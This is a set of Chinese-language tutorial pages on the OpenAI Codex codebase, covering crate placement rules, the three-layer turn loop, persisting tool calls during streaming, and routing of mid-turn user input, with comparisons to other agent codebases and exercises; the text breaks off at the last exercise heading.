OpenAI Codex · 代码模式

新功能先找落脚的 crate,core 是最后一档

打开仓库,第一反应是往 core 里加。仓库把这件事写成禁令:先找现有的非 core crate,否则新建一个。依赖方向会把叶子类型挡在核心之外。

课程目标读完能说清三件事。新功能为什么不能默认写进 codex-core。依赖方向怎么把它挡在某一层之外,挡住之后正确的落点在哪。这条禁令没有机器红灯,靠什么还在运转。
先玩一遍 · 给新功能挑落脚的 crate
同一条新功能:先撞核心,再看规则把它推到哪一层
新功能
点播放看规则怎么走。也可以直接点左侧某个 crate,看它会不会被挡。
编译图上的落点0个重编
叶子 · 不依赖 core
核心 · 33 万行,86 个 mod
直接依赖 core 的 25 个
间接 · 经 client 带上
这一步的判定待命
手里的功能分支名进上下文
试探落点还没放
挡住它的规则尚未触发
正确落点先走一遍规则
等待开始。
逻辑轨迹 · 动画每一步对应源码里的哪一段
  1. workspace members 是一份显式数组,当前 135 个Cargo.toml L3
  2. 目录叫 core,crate 名叫 codex-coreAGENTS.md L4
  3. 禁令:resist adding code to codex-coreAGENTS.md L76
  4. 先问现有的非 core crate 能不能住AGENTS.md L80
  5. 否则新建 workspace crate,并允许重构旧代码AGENTS.md L81
  6. 评审对不必要地进 core 的 PR 主动挡AGENTS.md L83
  7. core 已经依赖拆出去的 context-fragmentscore/Cargo.toml L35
  8. 非机械改动一次不超过 800 行AGENTS.md L127
选一个新功能,点播放。看它先被挡在哪一层,正确落点在哪。
挡住的是默认落点往 core 一放,25 个直接下游加 core 自己要重编,tui 还会顺着 client 被带上。叶子类型焊进核心,复用它就得把沙箱和 Guardian 一起拉进来。
正确落点在叶子现有的非 core crate 能住就住。住不下再新建 crate,并重构旧代码。core 已经依赖这些叶子,它可以当调用方。
最后一档仍要解释必须摸 session 内部状态时,可以进 core。评审仍要问为什么拆不出去。禁令挡习惯,挡不住有理由的例外。
教学示意:重编个数按 core 自己加 25 个直接下游估算,用来展示依赖边会蔓延到哪。tui 标成间接。逻辑轨迹右侧行号对应 openai/codex 仓库 commit 4f39251a01。
思路一 · 新概念先找落点,core 是最后一档
它解决什么问题

你要给这台 agent 加一个小功能:每轮对话开头把当前 git 分支名写进模型上下文。打开仓库,第一反应是往 codex-core 里加。session、context、guardian、tools 都在那儿,新文件放进去最省事。依赖表不用改,调用链不用跨 crate。

过了一周,同样的理由又进来三条。一个截断工具输出的 helper,一个模型供应商适配,一个会话恢复的边角。core/src/lib.rs 顶部又多三个 mod。下游只要写 use codex_core,编译图跟着变宽。有人想单独复用上下文片段那个类型,发现它焊在 core 里。要复用就得把整个 core 拉进来,包括沙箱、MCP、Guardian。

思路是什么

仓库把这件事写成禁令。AGENTS.md 用加粗英文写 resist adding code to codex-core。新概念先问现有的非 core crate 能不能住。再问该不该新建一个 workspace crate,并且允许为此重构旧代码。core 是最后一档。评审遇到往 core 里堆功能的 PR,被要求主动挡回去。

出处:AGENTS.md 第 72 至 83 行

新概念 要找一个 crate 现有非 core crate 能不能住 加进那个 crate 能住就住 新建 crate 边界清楚就建,并重构 不能 最后一档 core 评审仍要问
教学化结构图:输入是一个新概念,输出是落点。core 只在两条路都走不通时出现。

禁令写进文件的日期是 2026-03-26。当时 core 已经是最大 crate。立完之后 workspace 成员从 75 个长到 135 个,core 的生产代码却还是涨了。挡的是默认往核心扔,挡不住核心继续长。

清单是一份显式数组。codex-rs/Cargo.tomlmembers 数一遍是 135。目录名和 crate 名要分开看:目录叫 core,包名叫 codex-coreuse 的时候写成 codex_core

出处:codex-rs/Cargo.toml 第 1 至 20 行;AGENTS.md 第 1 至 5 行;codex-rs/core/Cargo.toml 第 1 至 9 行

.rs 行数,少数几个吃掉大半体积。core 33 万行,tui 27 万,app-server 14.8 万。大于等于 1 万行的 24 个,小于 2 千的 77 个。core 去掉测试后剩约 10.3 万行。25 个 workspace 成员直接依赖它。tui 的 Cargo.toml 没有这一行,它依赖 codex-app-server-client,再由 client 拉 core。往 core 加一行,直接下游 25 个要重编,tui 仍会被带上。

出处:codex-rs/cli/Cargo.toml 第 41 至 42 行;codex-rs/tui/Cargo.toml 第 30 至 31 行

为什么长期成立

上帝包的失败模式是这次很小、先放核心。把默认落点写成明文,让评审有权挡,不依赖某种语言。换个语言重写,最小形态仍是这三问:现有包能不能住,该不该新建包,进核心凭什么拆不出去。

思路二 · 叶子类型待在叶子 crate
它解决什么问题

依赖方向反了,编译图会从两边一起胀。core 自己已经依赖 61 个 codex-* crate,包括拆出去的 context-fragmentsfeatures。如果新的上下文类型再写回 core,想复用它的人必须把沙箱和 Guardian 一起拉进来。叶子依赖核心,核心再依赖叶子,边界就没了。

思路是什么

拆出去的 crate 只带自己需要的那一点。context-fragments 的包清单几乎没有业务依赖,只碰 protocol 和一段字符串工具,对外 re-export 两个片段类型和一个 trait。core 可以依赖它,它不依赖 core。git 分支名这种片段走这条路:类型落在 fragments,core 当调用方。模型供应商适配已经抽到 codex-model-provider。必须摸 session 内部状态的东西,才走到最后一档,评审仍要问为什么拆不出去。

出处:codex-rs/context-fragments/src/lib.rs 第 1 至 6 行;codex-rs/core/Cargo.toml 第 26 至 42 行

叶子 crate fragments / features core 依赖叶子 codex-core 可以调用,不许吞回去 25 个直接下游 cli / app-server / ext 类型焊进 core,复用成本变成拉进整个中心 类型留在叶子,谁需要谁依赖这一小包
教学化结构图:箭头只允许从中心指向叶子,叶子不能回头依赖 core。

旁边还有两把尺子。文件目标 500 行,大约超过 800 行就开新模块。非机械改动一次不超过 800 行,复杂逻辑压到 500。三层一起看,针对的是同一件事:人和 AI 都倾向于把改动写大,写进已经很大的文件。

出处:AGENTS.md 第 49 至 61 行;AGENTS.md 第 125 至 131 行

这条禁令本身没有 lint,没有 CI job。仓库里检索 resist adding code to codex-core,只命中 AGENTS.md 这一处。挡得住的是旁边那几条:依赖没刷 Bazel lock,CI 红;include_str! 没改 BUILD.bazel,Bazel 红。core 禁令挡得住习惯,挡不住有理由的例外,也挡不住漏看。

出处:AGENTS.md 第 37 至 43 行

core 是最后一档,不是默认档。
为什么长期成立

编译图的方向是物理约束。叶子可以独立编译,被多个中心复用。中心一旦吞下叶子类型,复用成本变成拉进整个中心。这个形状换语言也成立。

横向对比 · 同一道题的另一种答法

DSH:能力全是插件,没有特权内核

DSH 根 AGENTS.md 把原则写成加粗英文:everything is a plugin。Cordis 只收服务、类型化事件和可逆副作用。模型适配器、工具注册表、会话日志、agent loop 都是插件。没有需要打补丁的特权内核。新包落进现有分组时,根 package.json 不用改,glob 会发现它。

Codex 用编译期 crate 换掉了这套装卸器,新能力必须改 members 数组、写 BUILD.bazel、重新编译。能下手的位置只剩评审和 CI。评审管该不该进 core,CI 管两份锁有没有一起改。

两侧均已核对源码 · 2026-08-22 · DSH · 插件包

Grok Build:清单自动生成,靠目录分层

Grok 根 Cargo.toml 第一行写明这份 workspace 是生成的,人应该改各 crate 自己的清单。members 按同一口径数是 79。组织方式写在根 README:pager 是 TUI,shell 是运行时,tools 和 workspace 是领域能力,common / build 是叶子。

它没有写成给评审看的 core 禁令。切分本身被当成地图,膨胀靠组合入口和抽 crate 消化。Codex 多付的是评审文本和双构建锁。

两侧均已核对源码 · 2026-08-22 · Grok · 79 个 Workspace 成员
课堂练习
01

截断工具输出,该落在哪

又来一个小功能:工具返回太长时先截断,再交给模型。它看起来像 helper,放进 core 的 tools 旁边最省事。按刚才的三问推演:现有非 core crate 有没有更合适的家,该不该新建一个只要字符串工具的小包,进 core 会挡住哪一条依赖边。

写下你会挡哪一条边,以及挡住之后正确的落点。如果选最后一档,补一句评审会问什么。

Takeaway:新概念先找现有的非 core crate,否则新建 crate 并重构。core 是最后一档,评审对进核心的 PR 必须问为什么拆不出去。叶子类型待在叶子 crate,编译图才不会从两边一起胀。
OpenAI Codex · 循环骨架

三层 Turn Loop:谁有资格决定继续

你看到的是一轮对话。内部叠了任务壳、轮次、采样三层循环。各层只回答自己那一个问题,控制权每次只在一层。

课程目标读完能说清三件事。第一,一条用户输入在任务壳、轮次、采样里各转几圈,每层何时进入、何时退出。第二,插话、工具续跑、stop hook 分别由哪一层接住。第三,为什么 pending 要问两次。
先玩一遍 · 一句话在三层里各转几圈
同一条输入:看控制权落在哪一层,各层圈数怎么加
剧本
切法
换剧本看哪一层加圈。合成一层之后,插话和 hook 抢同一扇门。
0任务壳
0轮次
0采样
0工具

任务壳 RegularTask

值班班长。问这一趟还活着吗。

轮次 run_turn

当班司机。问这一轮还要再采吗。

采样 sampling

检票口。问这一条流结束了吗。

候车凳 pending

空。插话先坐这里,当前采样看不见。

在飞的工具
逻辑轨迹 · 动画每一步对应源码里的哪一段
  1. 空闲则 spawn RegularTaskturn_input.rs L242
  2. 任务壳发 TurnStarted 后进 loopregular.rs L76
  3. 轮次开头按开关排 pendingturn.rs L305
  4. 采样 run_sampling_requestturn.rs L381
  5. 工具当时挂上 futurestream_events_utils.rs L326
  6. Completed 之后再 drainturn.rs L2539
  7. 重算 needs_follow_upturn.rs L423
  8. stop hook 带 prompt 则 continueturn.rs L525
  9. 任务壳再问 has_pending_inputregular.rs L86
  10. 忙碌则 Steered 写入 pendingturn_input.rs L207
点播放,看一句话在三层里各转几圈。
教学示意:圈数按这一条预设剧本推演,行号对应 openai/codex 仓库 commit 4f39251a01。
思路一 · 按谁有资格决定继续切开
它解决什么问题

你让 coding agent 改一个函数。屏幕上这是一轮对话:你说了一句,它忙了一阵,最后回「改完了」。

忙的时候其实叠了几件事。模型调了工具。你中途补了一句「测试用 pytest」。它写完助手消息后,Stop hook 说还没跑 linter,于是又采了一次样。

这几件事如果塞进同一个 while,就只能靠几个布尔抢出口。谁先检查、谁能打断谁,会变成口头约定。少一层,就少一个干净插口:插话、续跑和流重试会搅在一起。

思路是什么

Codex 拆成三层。任务壳 RegularTask::run 决定这一趟还要不要再开一轮。轮次 run_turn 决定工具续跑、插话和 hook 要不要继续。采样层只把一次模型流收到 Completed

对外入口 start_or_steer_turn 自己不看会话空不空闲。返回值只表示 Core 接没接住这条输入,不等 hooks,也不等采样。空闲就 spawn RegularTask,忙碌就 Steered 写入 pending。三层循环从任务壳才开始转。

出处:codex-rs/core/src/codex_thread.rs 第 333 至 344 行 · codex-rs/core/src/session/turn_input.rs 第 1 至 9 行

任务壳 RegularTask 问:这一趟还活着吗。进入:spawn 之后。退出:run_turn 返回且队列为空。 轮次 run_turn 问:这一轮还要再采吗。进入:任务壳调用。退出:无续跑且 stop hook 放行。 采样 sampling 问:这一条流结束了吗。进入:run_sampling_request。退出:Completed 且 drain 完工具。 重试留在本层。取消和流中断走 Err。控制权还没回到轮次。 TurnStarted 只发一次
教学化结构图:外层保住这一趟还活着,中层决定要不要再采,内层只收完这一条流。

任务壳发一次 TurnStarted,然后只要队列里还有待处理输入,就再调一次 run_turn。第二次进去时 next_input 为空,新消息从 input_queue 取。turn_id 钉死,界面不会再闪一次「新的一轮开始了」。

出处:codex-rs/core/src/tasks/regular.rs 第 76 至 90 行

轮次层把采样回来的两件事合成一个布尔:model_needs_follow_up || has_pending_input。为真就自己 continue。为假才跑 stop hook。hook 带 prompt 拦收工,这一层自己再转,任务壳和采样层都还没退。

出处:codex-rs/core/src/session/turn.rs 第 423 行 · 第 500 至 525 行

采样层自己还有两圈。外圈处理可重试错误。内圈消费一条 SSE 流。工具调用不等 CompletedOutputItemDone 当时就会挂上 future。流收到 Completed,先 drain_in_flight,再把结果交回 run_turn

出处:codex-rs/core/src/stream_events_utils.rs 第 326 至 327 行 · codex-rs/core/src/session/turn.rs 第 2539 至 2584 行 · 第 2749 行

为什么长期成立

三层按「谁有资格决定继续」切开。采样层只看见这一次流,能重试,不能收整轮。轮次层看见工具、pending、预算和 hook,能续采样,不能重发 TurnStarted。任务壳看见任务还在、队列里是否还有活。

这不随文件怎么拆而变。换个语言重写,该问的还是三个问题:这一条流结束了吗,这一轮还要再采吗,这一趟任务还活着吗。

思路二 · pending 问两次,夹住 stop hook
它解决什么问题

RegularTaskrun_turn 都看 pending。同一句用户话如果两处都取,会转两圈。如果只留一处,就会把 hook 和后到消息挤进同一个出口。

思路是什么

两处问的是两件不同的事。

轮次层在采样刚刚结束时问,问的是「这一轮还要不要再采一次」。任务壳在 run_turn 已经 break 之后问,问的是「这一趟任务还要不要再进一次 run_turn」。前者把插话和工具结果留在同一个 turn_id 里。后者是界面已经可以收工、队列里又来了必须处理的输入。

采样返回 工具已 drain 轮次问 pending 这一轮还要再采吗 有货:自己 continue 任务壳还在等这次 run_turn 无货:跑 stop hook block 续跑,stop 才 break 任务壳再问 pending 这一趟还要再进 run_turn 吗
教学化分流图:两次判断夹住 stop hook,问的是两个时刻的两个问题。

去掉轮次层那一问:模型写出最终答案后,run_turn 会去跑 stop hook 并 break,中途那句「测试用 pytest」只能等任务壳再进一次 run_turn。功能上还能补上,只是多一次函数返回,stop hook 会在插话进模型之前先跑一轮。

去掉任务壳那一问:run_turnshould_stop 返回后,任务直接结束。队列里后到的用户消息要么消失,要么等会话变空闲,由 maybe_start_turn_for_pending_work 换一个 turn_id 新开任务。TurnStarted 会再闪一次,回放里变成两个 turn 桶。

stop hook 返回 block 且带 prompt,控制权留在轮次层。采样层早已返回。任务壳还在等这次 run_turn。block 是轮次层内部续跑。stop 是轮次层把控制权交回任务壳。

出处:codex-rs/core/src/session/turn.rs 第 509 至 537 行 · codex-rs/hooks/src/events/stop.rs 第 67 至 74 行

两次判断夹住 stop hook,所以要问两次。
为什么长期成立

源码没有单独写「为什么要问两次」,下面从实现反推。hook 续跑时控制权留在轮次层,任务壳看不见。hook 放行后,任务壳才有机会接手「收工瞬间又来的那一句」。两个问题发生在不同时刻,所以要问两次。这跟具体语言、具体 hook 协议无关。

横向对比 · 同一道题的另一种切法

DSH:按语义切成 Turn、Step、Inbox

DSH 的外圈是 kickwhile (await this.turn()) {}turn() 自己再套一层 while (true),每一圈先 preStep,再 step()。第三层不是第三条 while。Inbox 是两条数组:next-turnnext-step。调用方在入队时选 followup、steer 还是 inject。

两边都叫三层,切分维度不同。DSH 按语义:Turn 是一轮完整工作,Step 是一次模型请求加工具,Inbox 是说话时机。Codex 按生命周期:任务壳问这一趟还活着吗,轮次问这一轮还要再采吗,采样问这一条流结束了吗。DSH 因此能从 session 事件重放两条队列。Codex 因此能把流重试、取消、end_turn 各自关在采样层,TurnStarted 只闪一次。

两侧均已核对源码 · 2026-08-22 · DSH · Inbox

Claude Code:单层 while 加状态袋

主循环在 query.ts。可变状态放进一个 state 对象,循环体顶部解构,continue 处写回整袋。needsFollowUp 只由助手消息里的 tool_use 块点亮。没有 follow-up 时,同一层接着做压缩、stop hook、进入下一 turn。turnCount 加一,transition 写成 next_turn,回到 while (true) 顶部。

续跑、压缩、stop hook 收成同一袋状态。改一处 continue,要同时核对 stopHookActiveturnCounttransition。Codex 把这三件事分给三层,DSH 把插话分给 Inbox,两边都不必在同一个布尔上抢门。

两侧均已核对源码 · 2026-08-22
课堂练习
01

把任务壳那一问改成恒为假

模型开始调工具时,你补了一句「顺便列出当前目录」。先按三层推演:任务壳、轮次、采样各转几圈,这句后续由哪一层取走。

然后把 regular.rs 第 86 行的 has_pending_input 改成恒为假,让任务壳在第一次 run_turn 返回后立刻结束。这句后续是消失、等到下一轮,还是由 maybe_start_turn_for_pending_work 换一个 turn_id

Takeaway:三层各自的终止条件写成三个函数。插话只进 pending。stop hook 只进轮次循环。任务壳只在轮次返回后再看队列。不要收成一个 while 加三个布尔。
OpenAI Codex · 工具闭环

流还在走,工具已经开工

模型还在打字,读文件的声音已经响了。采样循环的时序是:流内建 future,流后统一 drain。先 persist,再等结果。

课程目标读完能说清三件事。第一,解析器在哪一帧决定工具起跑。第二,为什么请求要先写入历史,再挂到队列上。第三,流正常结束、提前关掉或用户按 Esc,已经开工的工具归谁收尾,历史里留下什么。
先玩一遍 · 拖进度,看哪一帧起跑
同一条 SSE 流:拖进度,看工具何时开工
出口
拖滑块或点事件格。左边流内执行,右边等流结束再执行。出口开关改最后一帧怎么收场。
流内执行0 条已落盘
等待开始。
等流结束0 条已落盘
等待开始。
逻辑轨迹 · 动画每一步对应源码里的哪一段
  1. SSE 帧先解成通用事件,还没有业务含义responses.rs L164
  2. kind 是 output_item.done,就产出 OutputItemDoneresponses.rs L352
  3. 采样循环一到就交给 handle_output_item_doneturn.rs L2384
  4. 先把 function_call 写入历史和 rolloutstream_events_utils.rs L316
  5. 再 pin 工具,推进有序队列stream_events_utils.rs L320
  6. 流结束、断流或取消,都只是离开收流循环turn.rs L2282
  7. drain 按插入顺序把结果写入历史turn.rs L2135
  8. 然后才看取消令牌;Stream 可重试turn.rs L2760
拖进度或点播放。看解析器在哪一帧决定工具起跑。
起跑点左边在第一条 OutputItemDone 就盖章并开工。右边要等最后一帧。模型还在吐字的时候,两边已经分道。
断流左边已经落盘的请求和 drain 出来的结果都在,重试读这份历史。右边请求还没写下,重试从空历史开始。
Esc左边请求保留,输出写成中止文案,标记 TurnAborted,不会再打一轮。右边什么都没写下。
教学示意:事件带与耗时为课程化设定,用来对照两种时序。逻辑轨迹右侧行号对应 openai/codex 仓库 commit 4f39251a01。
思路一 · 请求先盖章,工具再开工
它解决什么问题

你让模型读三个文件再写摘要。屏幕上还在打字,读文件的声音已经响了。然后你按 Esc。界面停了,历史里却留下那次请求,有时还留下结果。你以为取消等于什么都没发生。运行时并不这么记账。

另一头更常见:模型已经发出两个 function_call,第三个还在路上,SSE 在 response.completed 到来之前关掉。下一次重试该看见空历史,还是已经落盘的调用和结果?

若等 Completed 再写入,提前关流会把已经完整的调用一起扔掉。重试让模型再发一遍同样的调用。若取消时跳过写入,历史只剩半截请求,模型和界面都看见一个没闭合的调用。

思路是什么

OutputItemDone 是解析层把一帧 response.output_item.done 收成的业务事件。它一到,采样循环先把这一条写入会话历史和 rollout,再把工具执行包成 future 挂到有序队列上。取消令牌用子令牌,父令牌一亮,这个工具跟着停。取消来得再快,这一条 function_call 已经进历史。最多再多写一条 aborted by user

出处:codex-rs/core/src/stream_events_utils.rs 第 190 至 192 行;第 316 至 327 行。类型别名上方的注释把合同写死:完成的模型输出要立刻记下来,后面 turn 被取消,历史和 rollout 也保持同步。

SSE 字节流 还在继续吐帧 OutputItemDone 一条完整的工具请求 写入历史 function_call 先落盘 挂起 future 工具已经在跑 后续 delta 仍在路上 输入是一条已经完成的工具请求。输出是回执:历史多了一条,队列多了一个还在跑的 future。 模型后面的字还没说完。请求已经盖章。
教学化结构图:同一帧里先 persist,再 pin。后面的打字和工具时间重叠。
为什么长期成立

历史只能往上加,不能改写。工具已经读了磁盘,这条事实已经发生。取消树可以打断执行,打断不了已经写下的请求。先写请求、后写结果,transcript 始终闭合。这条合同不依赖 Rust,换 TypeScript 也是先 appendpush 一个 promise。

出处:AGENTS.md 第 91 至 100 行,Model visible context 第一条:No history rewrite。

思路二 · 流内挂起,每个出口都 drain
它解决什么问题

模型常常先发出读文件,再继续写一段说明。等收工哨再开工,等于把读文件的延迟和打字的延迟串起来。流内开工能让这两段时间重叠。代价是取消和断流必须认领已经开工的 future。没有认领人,就会出现孤儿任务:工具还在跑,历史对不上。

思路是什么

收流循环无论正常 Completed、提前关流还是 or_cancel,都只是离开 loop。函数还没返回。随后固定调用 drain_in_flight,按插入顺序等到每条 future 给出结果,再写入历史。然后才检查取消令牌。

断流走 Stream,可重试。重试从 clone_history 重建 prompt,已经写下的调用和结果都在。Esc 走 TurnAborted,不可重试。正在跑的工具写出中止文案,drain 把它当普通输出写入。

出处:codex-rs/core/src/session/turn.rs 第 2282 至 2284 行;第 2744 至 2762 行。codex-rs/protocol/src/error.rs 第 88 至 93 行、第 364 至 390 行。

收流循环 Completed 提前关流 Esc drain_in_flight 按插入顺序写结果,然后才看取消令牌
教学化出口图:三条路先汇到 drain,再分出跟进、重试或中止。
流内建 future,流后统一 drain。
为什么长期成立

中途开工就必须在每个出口等齐。所有权留在采样函数的局部变量里,没有另一条后台回收队列。成功、错误、取消共用这一段收尾。换语言也一样:离开异步循环之后先 allSettled,再决定重试还是中止。

思路三 · 执行可以并行,历史按发出顺序写

三个工具可以同时跑。谁先跑完,历史仍按模型发出的顺序写结果。按完成顺序写,同一段会话重放两次可能对不上,prompt cache 也会更脆。有序队列把观测顺序和执行顺序拆开。并发闸门在别的一层,这里只记:挂起顺序就是日后 drain 的顺序。

出处:codex-rs/core/src/session/turn.rs 第 2130 至 2154 行;第 2391 至 2397 行。

横向对比 · 同一道题的另一种答法

Claude Code:默认等流结束,另有一扇流内闸门

默认路径里,流式循环只收集 tool_usefor await 结束后才进入 runTools。流断了只需丢掉已经收集的 block,省掉每个出口都 drain 的局部所有权。代价是工具延迟和打字延迟串行。

streamingToolExecution 打开时,行为靠近 Codex:流内 addTool,立刻开工。失败回退要 discard 已经开工的工具,避免旧 id 漏进重试。Codex 没有对等的 discard,因为它选择先 persist,重试读历史。

两侧均已核对源码 · query.ts 第 551 至 568 行、第 1380 至 1382 行

DSH:三段瀑布加单调 Guard,管的是谁能拒绝

DSH 的入口是一条已经成型的工具调用。pre / guard / around / post 回答谁能拒绝,拒绝之后结果还在不在。Guard 只有拒绝理由或弃权,没有放行这个选项。它的 drained 是单次 execute 内部的收尾。SSE 还在飞的时候,这套瀑布还没开始。

两边词面相近,出口不同。一边护权限单调,一边护流式 transcript 闭合。把 Guard 搬进 Codex,挡不住断流丢 transcript。把 persist-then-drain 搬进 DSH,也回答不了插件能不能把拒绝改成放行。

两侧均已核对源码 · tools/src/index.ts 第 1 至 4 行、第 703 至 711 行、第 1328 至 1337 行 · DSH · 三段瀑布与单调 Guard
课堂练习
01

把写入和挂起对调

handle_output_item_done 的工具分支里,把 record_completed_response_itemBox::pin(handle_tool_call) 对调。取消发生在 pin 之前、persist 之前。下一轮采样和会话恢复会看见什么?

把答案落到历史只能增量追加,以及 drain_in_flight 的写入时机上。

Takeaway:OutputItemDone 一到就先写入再开工。流的每个出口先 drain,结果按发出顺序写。取消打断执行,已经写下的 transcript 留在原处。
OpenAI Codex · Turn 循环

中途插话:这句话进本轮、下一轮,还是被拒

Agent 正在改第三个文件,你看见方向偏了,补了一句:配置用 YAML。回车之后,这句话是开工、插进当前轮,还是当场被拒,Core 当场拍板,不等模型开口。

课程目标读完能说清三件事。第一,为什么提交必须立刻回 Started、Steered 或 NotSubmitted。第二,审查和压缩为什么拒收插话,并且不会因此新开一轮。第三,最终答案上屏之后,迟到的子邮件为什么默认躺到下一轮,用户再插一句又为什么能把门打开。
先玩一遍 · 同一句话,四个时机
信箱分拣台:同一句约束,投递时刻不同,落点就不同
时机
四个时机共用同一句输入。空闲会开工,采样中会插话,答案上屏后子邮件先躺着,审查中会被挡在门口。
时刻 · 空闲 任务 · 无 相位 · —

当前轮

pending_input,相位 CurrentTurn 时会被掏走

下一轮

会话信箱,相位 NextTurn 时只排队不掏

门口拒收

NotSubmitted,设置也不会落地
等待投递。
逻辑轨迹 · 动画每一步对应源码里的哪一段
  1. 按 TurnInputMode 分发,默认走 StartOrSteerturn_input.rs L141
  2. 先试 steer_input,只有 NoActiveTurn 才开工turn_input.rs L195
  3. Regular 才收,Review 和 Compact 当场拒turn_input.rs L507
  4. 空闲则 apply_started,再 spawn_taskturn_input.rs L242
  5. 插话写入 pending,并把相位打回 CurrentTurnturn_input.rs L558
  6. 最终答案把投递相位 defer 到 NextTurninput_queue.rs L206
  7. 工具项把相位 accept 回 CurrentTurnstream_events_utils.rs L302
  8. get_pending_input 看相位,再决定掏不掏信箱input_queue.rs L297
选一个时机,点播放。看同一句话进当前轮、躺到下一轮,还是被挡在门口。
用户插话的落点空闲是 Started,采样中是 Steered。审查中是 NotSubmitted,不会偷偷新开一轮普通对话。
子邮件的落点答案已经上屏时,迟到的子邮件先躺在会话信箱。本轮认为没有待处理输入。
门什么时候重开用户再插一句,或模型再发出工具调用,相位翻回 CurrentTurn,积压的子邮件跟着进下一次采样。
教学示意:筐与纸条是课程化隐喻,对应 turn 内 pending_input 与会话级 mailbox。逻辑轨迹右侧行号对应 openai/codex 仓库 commit 4f39251a01。
思路一 · 提交立刻回判定
它解决什么问题

三种日常结局都不好受。立刻打断,前面两个文件的改动可能半成品留在磁盘上。排到下一轮,你只能看着它把剩下的文件按旧方向改完。塞进当前上下文却不叫醒循环,模型要到下一次自己开口才看得到,你补的约束等于迟到。

思路是什么

Codex 把这件事收成一个入口、三种模式。调用方选 StartOrSteerStartIfIdleSteer,不直接喊 start。Core 按现场忙闲和任务种类判定,立刻回 StartedSteeredNotSubmitted。回完决定就结束,不等 user-prompt hook,不等历史落盘,不等模型开始采样。

出处:codex-rs/core/src/session/turn_input.rs 第 1 至 9 行;codex-rs/protocol/src/turn_input.rs 第 127 至 136 行

StartOrSteer 的顺序和函数名一致。先试插话。只有返回 NoActiveTurn,才 apply_startedspawn_task。其他拒绝原因原样包装成 NotSubmitted,不会偷偷开工。TUI 实时语音也走这条,和默认入口共用同一套判定。

出处:codex-rs/core/src/session/turn_input.rs 第 141 至 156 行、第 195 至 249 行

设置不能先改再判定。prepare 先预览线程设置,预览失败直接 InvalidRequest。真正写入发生在 apply_startedapply_steered。被拒绝的输入连设置都不改。插话成功后只落持久设置,当前轮的 TurnContext 不换。开工专用的选项,比如结构化输出 schema,只在 Started 上用。

出处:codex-rs/core/src/session/turn_input.rs 第 58 至 80 行

用户提交 TurnInputMode handle 先试 steer,空闲再开工 Started · 新开 Regular 轮 Steered · 插进当前 Regular 轮 NotSubmitted · 线程保持原样
教学化结构图:入口只做判定,hook、落盘和采样都还没开始。
为什么长期成立

开工和插话必须在同一把锁里做完。先看有没有活动轮,再看 kind,再写入 pending,中间不能让另一次提交把轮次换掉。设置却要先预览后写入,因为拒绝路径必须保证线程不变。判定和入队拆成两次加锁,用户回车和子邮件同时到达时,可能出现判定时还空闲、入队时已经有人占坑的窗口。

思路二 · 只有 Regular 收插话
它解决什么问题

审查任务自己再开一条 one-shot 子对话,压缩任务在换窗口。用户在这时候补一句「用 YAML」,没有当前轮的工具循环可以接住它。如果因此新开一轮普通对话,审查结果和压缩摘要会跟新对话抢同一个 active_turn

思路是什么

steer_input 拿着 active_turn 锁做完全部检查。没有活动轮,或者有槽没有 task,都算 NoActiveTurnTaskKind 只有 Regular、Review、Compact 三个变体。审查和压缩返回 ActiveTurnNotSteerableStartOrSteer 也不会因此开工。

出处:codex-rs/core/src/session/turn_input.rs 第 507 至 519 行;codex-rs/core/src/state/turn.rs 第 67 至 72 行

检查过关之后,用户输入被推进 pending_input,同时把信箱相位打回 CurrentTurn。穷尽 match 在这里有业务后果:新加一种任务类型,编译器会逼你回答能不能插话。

出处:codex-rs/core/src/session/turn_input.rs 第 546 至 564 行

为什么长期成立

内部任务有自己的生命周期。把用户插话焊进审查轮,等于让两种工作抢同一条执行槽。调用方收到拒绝,这条输入不会被默默排进一条新对话。换个语言重写,该守的仍是:能接住插话的任务和不能接住的任务,必须在类型上分开。

思路三 · 一面翻牌决定能不能续写
它解决什么问题

主 agent 已经在屏幕上打出一段看起来像最终答案的话,子 agent 同时发回一条进度。并进去,用户已经看见的答案会被续写。一律等到下一轮,子 agent 的结果可能要隔一次采样才进模型。

思路是什么

用户插话进的是 turn 内的 pending_input。子 agent 的信走会话级 mailbox_pending_mails。两套存货能不能并进当前轮,由 MailboxDeliveryPhase 决定。相位从 CurrentTurn 起步。用户已经看见最终答案之后切到 NextTurn。用户再插一句,或者模型又发出工具调用,相位会重开。

出处:codex-rs/core/src/state/turn.rs 第 37 至 56 行

切到 NextTurn 有一条例外:pending_input 里只要还有一条不是排队不叫醒的子邮件,就保持当前相位。取信时也看这面牌。NextTurn 时 turn 内 pending 也不拿,会话信箱更不掏。CurrentTurn 时先拿走 turn 内 pending,再掏会话信箱,拼在后面。所以最终答案落地之后,子邮件可以躺在信箱里,循环却认为没有待处理输入,本轮会收束。

出处:codex-rs/core/src/session/input_queue.rs 第 206 至 227 行、第 284 至 336 行

CurrentTurn pending 加信箱,并进本轮 NextTurn 两套存货都不掏 最终答案上屏 用户插话,或工具调用,或模型还要 follow-up
教学化状态图:答案上屏后关闸,明确的同轮工作再开门。

什么算出用户可见的最终答案?助手正文,phase 是 Commentary 的不算,trim 之后为空的也不算。未打标的助手消息按最终答案处理。未打标的提供方默认走更安全的那条:先把信箱关到下一轮。审批、权限、提问、elicitation、动态工具是五张独立的 oneshot 表,不进这套信箱,各等各的回执。

出处:codex-rs/core/src/stream_events_utils.rs 第 486 至 501 行;codex-rs/core/src/state/turn.rs 第 87 至 103 行

答案已经给用户看过,迟到的信默认不续写。
为什么长期成立

「答案已经给用户看过」是一条产品边界,不依赖 Rust 或某个信箱实现。换语言重写,仍然需要一面翻牌:迟到的附属消息默认不续写已经上屏的答案;明确的同轮工作,比如用户再插一句或模型再调工具,再把门打开。

横向对比 · 同一道题的另一种答法

DSH:两个参数,两条轨道

DSH 对外是三个别名,底层共用 send。目标队列和唤不唤醒是两个正交参数。followup 自己独占一轮并叫醒,steer 插进下一站并叫醒,inject 上车不催司机。Inbox 是 next-turnnext-step 两条持久列表,claim 先掏空 next-step,目标是 next-turn 时再多取一条。

Codex 没有这三个公开函数。StartOrSteer 把空闲开工和忙时插话焊在一次判定里。相位这面翻牌,DSH 可以没有,因为它把等整轮和等下一站写成两条列表。代价是答案已经上屏之后,next-step 非空仍会续命当前 Turn。

两侧均已核对源码 · 2026-08-22 · DSH · Inbox

Claude Code:一条队列,用优先级补时机

还原源码里,用户输入、任务通知、孤儿权限走同一条 commandQueue。优先级是 now 大于 next 大于 later,同级 FIFO。用户命令默认 next,任务通知默认 later,用户输入不会被系统消息饿死。消费发生在当前流结束之后,没有步级插话。你补的那句 YAML 约束,要等当前生成器收尾才进模型。

已核对还原源码 · 2026-08-22 · messageQueueManager.ts
课堂练习
01

